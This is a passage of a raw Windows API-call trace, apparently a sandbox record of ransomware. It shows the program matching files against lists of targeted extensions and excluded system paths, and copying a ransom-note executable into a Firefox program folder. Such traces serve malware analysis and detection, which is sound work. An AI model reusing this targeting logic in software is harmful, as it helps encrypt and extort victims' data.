	[0052.646] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0052.646] lstrlenW (lpString="odb") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0052.646] lstrlenW (lpString="odb") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0052.646] lstrlenW (lpString="oqy") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0052.646] lstrlenW (lpString="ora") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0052.646] lstrlenW (lpString="orx") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0052.646] lstrlenW (lpString="owc") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0052.646] lstrlenW (lpString="p96") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0052.646] lstrlenW (lpString="p97") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0052.646] lstrlenW (lpString="pan") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0052.647] lstrlenW (lpString="pdb") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0052.647] lstrlenW (lpString="pdm") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0052.647] lstrlenW (lpString="pnz") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0052.647] lstrlenW (lpString="qry") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0052.647] lstrlenW (lpString="qvd") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0052.647] lstrlenW (lpString="rbf") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0052.647] lstrlenW (lpString="rctd") returned 4
	[0052.647] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0052.647] lstrlenW (lpString="rod") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0052.647] lstrlenW (lpString="rodx") returned 4
	[0052.647] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0052.647] lstrlenW (lpString="rpd") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0052.647] lstrlenW (lpString="rsd") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0052.647] lstrlenW (lpString="sas7bdat") returned 8
	[0052.647] lstrcmpiW (lpString1="vice.exe", lpString2="sas7bdat") returned 1
	[0052.647] lstrlenW (lpString="sbf") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0052.647] lstrlenW (lpString="scx") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0052.647] lstrlenW (lpString="sdb") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0052.647] lstrlenW (lpString="sdc") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0052.647] lstrlenW (lpString="sdf") returned 3
	[0052.647] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0052.647] lstrlenW (lpString="sis") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0052.648] lstrlenW (lpString="spq") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0052.648] lstrlenW (lpString="te") returned 2
	[0052.648] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0052.648] lstrlenW (lpString="teacher") returned 7
	[0052.648] lstrcmpiW (lpString1="ice.exe", lpString2="teacher") returned -1
	[0052.648] lstrlenW (lpString="tmd") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0052.648] lstrlenW (lpString="tps") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0052.648] lstrlenW (lpString="trc") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0052.648] lstrlenW (lpString="trc") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0052.648] lstrlenW (lpString="trm") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0052.648] lstrlenW (lpString="udb") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0052.648] lstrlenW (lpString="udl") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0052.648] lstrlenW (lpString="usr") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0052.648] lstrlenW (lpString="v12") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0052.648] lstrlenW (lpString="vis") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0052.648] lstrlenW (lpString="vpd") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0052.648] lstrlenW (lpString="vvv") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0052.648] lstrlenW (lpString="wdb") returned 3
	[0052.648] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0052.648] lstrlenW (lpString="wmdb") returned 4
	[0052.648] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0052.648] lstrlenW (lpString="wrk") returned 3
	[0052.649] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0052.649] lstrlenW (lpString="xdb") returned 3
	[0052.649] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0052.649] lstrlenW (lpString="xld") returned 3
	[0052.649] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0052.649] lstrlenW (lpString="xmlff") returned 5
	[0052.649] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1
	[0052.649] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="..") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="windows") returned -1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="bootmgr") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="temp") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="pagefile.sys") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="boot") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="ids.txt") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="ntuser.dat") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="perflogs") returned 1
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2="MSBuild") returned 1
	[0052.649] lstrlenW (lpString="Uninstall.exe") returned 13
	[0052.649] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73
	[0052.649] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Uninstall.exe" | out: lpString1="Uninstall.exe") returned="Uninstall.exe"
	[0052.649] lstrlenW (lpString="Uninstall.exe") returned 13
	[0052.649] lstrlenW (lpString="Apollon865") returned 10
	[0052.649] lstrcmpiW (lpString1="nstall.exe", lpString2="Apollon865") returned 1
	[0052.649] lstrlenW (lpString=".dll") returned 4
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".dll") returned 1
	[0052.649] lstrlenW (lpString=".lnk") returned 4
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".lnk") returned 1
	[0052.649] lstrlenW (lpString=".ini") returned 4
	[0052.649] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".ini") returned 1
	[0052.649] lstrlenW (lpString=".sys") returned 4
	[0052.650] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".sys") returned 1
	[0052.650] lstrlenW (lpString="Uninstall.exe") returned 13
	[0052.650] lstrlenW (lpString="bak") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0052.650] lstrlenW (lpString="ba_") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0052.650] lstrlenW (lpString="dbb") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0052.650] lstrlenW (lpString="vmdk") returned 4
	[0052.650] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0052.650] lstrlenW (lpString="rar") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0052.650] lstrlenW (lpString="zip") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0052.650] lstrlenW (lpString="tgz") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0052.650] lstrlenW (lpString="vbox") returned 4
	[0052.650] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0052.650] lstrlenW (lpString="vdi") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0052.650] lstrlenW (lpString="vhd") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0052.650] lstrlenW (lpString="vhdx") returned 4
	[0052.650] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0052.650] lstrlenW (lpString="avhd") returned 4
	[0052.650] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0052.650] lstrlenW (lpString="db") returned 2
	[0052.650] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0052.650] lstrlenW (lpString="db2") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0052.650] lstrlenW (lpString="db3") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0052.650] lstrlenW (lpString="dbf") returned 3
	[0052.650] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0052.650] lstrlenW (lpString="mdf") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0052.651] lstrlenW (lpString="mdb") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0052.651] lstrlenW (lpString="sql") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0052.651] lstrlenW (lpString="sqlite") returned 6
	[0052.651] lstrcmpiW (lpString1="ll.exe", lpString2="sqlite") returned -1
	[0052.651] lstrlenW (lpString="sqlite3") returned 7
	[0052.651] lstrcmpiW (lpString1="all.exe", lpString2="sqlite3") returned -1
	[0052.651] lstrlenW (lpString="sqlitedb") returned 8
	[0052.651] lstrcmpiW (lpString1="tall.exe", lpString2="sqlitedb") returned 1
	[0052.651] lstrlenW (lpString="xml") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0052.651] lstrlenW (lpString="$er") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0052.651] lstrlenW (lpString="4dd") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0052.651] lstrlenW (lpString="4dl") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0052.651] lstrlenW (lpString="^^^") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0052.651] lstrlenW (lpString="abs") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0052.651] lstrlenW (lpString="abx") returned 3
	[0052.651] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0052.651] lstrlenW (lpString="accdb") returned 5
	[0052.651] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1
	[0052.651] lstrlenW (lpString="accdc") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1
	[0052.652] lstrlenW (lpString="accde") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1
	[0052.652] lstrlenW (lpString="accdr") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1
	[0052.652] lstrlenW (lpString="accdt") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1
	[0052.652] lstrlenW (lpString="accdw") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1
	[0052.652] lstrlenW (lpString="accft") returned 5
	[0052.652] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1
	[0052.652] lstrlenW (lpString="adb") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0052.652] lstrlenW (lpString="adb") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0052.652] lstrlenW (lpString="ade") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0052.652] lstrlenW (lpString="adf") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0052.652] lstrlenW (lpString="adn") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0052.652] lstrlenW (lpString="adp") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0052.652] lstrlenW (lpString="alf") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0052.652] lstrlenW (lpString="ask") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0052.652] lstrlenW (lpString="btr") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0052.652] lstrlenW (lpString="cat") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0052.652] lstrlenW (lpString="cdb") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0052.652] lstrlenW (lpString="ckp") returned 3
	[0052.652] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0052.652] lstrlenW (lpString="cma") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0052.653] lstrlenW (lpString="cpd") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0052.653] lstrlenW (lpString="dacpac") returned 6
	[0052.653] lstrcmpiW (lpString1="ll.exe", lpString2="dacpac") returned 1
	[0052.653] lstrlenW (lpString="dad") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0052.653] lstrlenW (lpString="dadiagrams") returned 10
	[0052.653] lstrcmpiW (lpString1="nstall.exe", lpString2="dadiagrams") returned 1
	[0052.653] lstrlenW (lpString="daschema") returned 8
	[0052.653] lstrcmpiW (lpString1="tall.exe", lpString2="daschema") returned 1
	[0052.653] lstrlenW (lpString="db-journal") returned 10
	[0052.653] lstrcmpiW (lpString1="nstall.exe", lpString2="db-journal") returned 1
	[0052.653] lstrlenW (lpString="db-shm") returned 6
	[0052.653] lstrcmpiW (lpString1="ll.exe", lpString2="db-shm") returned 1
	[0052.653] lstrlenW (lpString="db-wal") returned 6
	[0052.653] lstrcmpiW (lpString1="ll.exe", lpString2="db-wal") returned 1
	[0052.653] lstrlenW (lpString="dbc") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0052.653] lstrlenW (lpString="dbs") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0052.653] lstrlenW (lpString="dbt") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0052.653] lstrlenW (lpString="dbv") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0052.653] lstrlenW (lpString="dbx") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0052.653] lstrlenW (lpString="dcb") returned 3
	[0052.653] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0052.654] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="updater.ini" | out: lpString1="updater.ini") returned="updater.ini"
	[0052.654] lstrlenW (lpString="updater.ini") returned 11
	[0052.654] lstrlenW (lpString="Apollon865") returned 10
	[0052.654] lstrcmpiW (lpString1="pdater.ini", lpString2="Apollon865") returned 1
	[0052.654] lstrlenW (lpString=".dll") returned 4
	[0052.654] lstrcmpiW (lpString1="updater.ini", lpString2=".dll") returned 1
	[0052.654] lstrlenW (lpString=".lnk") returned 4
	[0052.654] lstrcmpiW (lpString1="updater.ini", lpString2=".lnk") returned 1
	[0052.654] lstrlenW (lpString=".ini") returned 4
	[0052.654] lstrcmpiW (lpString1="updater.ini", lpString2=".ini") returned 1
	[0052.654] lstrlenW (lpString=".sys") returned 4
	[0052.654] lstrcmpiW (lpString1="updater.ini", lpString2=".sys") returned 1
	[0052.654] lstrlenW (lpString="updater.ini") returned 11
	[0052.654] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0052.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0052.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.654] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38
	[0052.654] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0052.654] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3775b490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3775b490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.669] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.669] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3775b490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3775b490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.669] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.669] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.669] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.669] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.669] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="Apollon865.txt.exe") returned -1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="windows") returned -1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="bootmgr") returned -1
	[0052.669] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="temp") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="pagefile.sys") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="boot") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="ids.txt") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="ntuser.dat") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="perflogs") returned -1
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2="MSBuild") returned -1
	[0052.670] lstrlenW (lpString="AccessibleMarshal.dll") returned 21
	[0052.670] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\*") returned 40
	[0052.670] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="AccessibleMarshal.dll" | out: lpString1="AccessibleMarshal.dll") returned="AccessibleMarshal.dll"
	[0052.670] lstrlenW (lpString="AccessibleMarshal.dll") returned 21
	[0052.670] lstrlenW (lpString="Apollon865") returned 10
	[0052.670] lstrcmpiW (lpString1="arshal.dll", lpString2="Apollon865") returned 1
	[0052.670] lstrlenW (lpString=".dll") returned 4
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".dll") returned 1
	[0052.670] lstrlenW (lpString=".lnk") returned 4
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".lnk") returned 1
	[0052.670] lstrlenW (lpString=".ini") returned 4
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".ini") returned 1
	[0052.670] lstrlenW (lpString=".sys") returned 4
	[0052.670] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".sys") returned 1
	[0052.670] lstrlenW (lpString="AccessibleMarshal.dll") returned 21
	[0052.670] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="apicandleecuador.exe" | out: lpString1="apicandleecuador.exe") returned="apicandleecuador.exe"
	[0052.670] lstrlenW (lpString="apicandleecuador.exe") returned 20
	[0052.670] lstrlenW (lpString="Apollon865") returned 10
	[0052.670] lstrcmpiW (lpString1="cuador.exe", lpString2="Apollon865") returned 1
	[0052.670] lstrlenW (lpString=".dll") returned 4
	[0052.670] lstrcmpiW (lpString1="apicandleecuador.exe", lpString2=".dll") returned 1
	[0052.670] lstrlenW (lpString=".lnk") returned 4
	[0052.670] lstrcmpiW (lpString1="apicandleecuador.exe", lpString2=".lnk") returned 1
	[0052.670] lstrlenW (lpString=".ini") returned 4
	[0052.670] lstrcmpiW (lpString1="apicandleecuador.exe", lpString2=".ini") returned 1
	[0052.671] lstrlenW (lpString=".sys") returned 4
	[0052.671] lstrcmpiW (lpString1="apicandleecuador.exe", lpString2=".sys") returned 1
	[0052.671] lstrlenW (lpString="apicandleecuador.exe") returned 20
	[0052.671] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="application.ini" | out: lpString1="application.ini") returned="application.ini"
	[0052.671] lstrlenW (lpString="application.ini") returned 15
	[0052.671] lstrlenW (lpString="Apollon865") returned 10
	[0052.671] lstrcmpiW (lpString1="cation.ini", lpString2="Apollon865") returned 1
	[0052.671] lstrlenW (lpString=".dll") returned 4
	[0052.671] lstrcmpiW (lpString1="application.ini", lpString2=".dll") returned 1
	[0052.671] lstrlenW (lpString=".lnk") returned 4
	[0052.671] lstrcmpiW (lpString1="application.ini", lpString2=".lnk") returned 1
	[0052.671] lstrlenW (lpString=".ini") returned 4
	[0052.671] lstrcmpiW (lpString1="application.ini", lpString2=".ini") returned 1
	[0052.671] lstrlenW (lpString=".sys") returned 4
	[0052.671] lstrcmpiW (lpString1="application.ini", lpString2=".sys") returned 1
	[0052.671] lstrlenW (lpString="application.ini") returned 15
	[0052.671] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="breakpadinjector.dll" | out: lpString1="breakpadinjector.dll") returned="breakpadinjector.dll"
	[0052.671] lstrlenW (lpString="breakpadinjector.dll") returned 20
	[0052.671] lstrlenW (lpString="Apollon865") returned 10
	[0052.671] lstrcmpiW (lpString1="jector.dll", lpString2="Apollon865") returned 1
	[0052.671] lstrlenW (lpString=".dll") returned 4
	[0052.671] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".dll") returned 1
	[0052.671] lstrlenW (lpString=".lnk") returned 4
	[0052.671] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".lnk") returned 1
	[0052.671] lstrlenW (lpString=".ini") returned 4
	[0052.671] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".ini") returned 1
	[0052.671] lstrlenW (lpString=".sys") returned 4
	[0052.671] lstrcmpiW (lpString1="breakpadinjector.dll", lpString2=".sys") returned 1
	[0052.671] lstrlenW (lpString="breakpadinjector.dll") returned 20
	[0052.671] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="browser" | out: lpString1="browser") returned="browser"
	[0052.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0052.672] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.672] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".") returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="..") returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="windows") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="bootmgr") returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="temp") returned -1
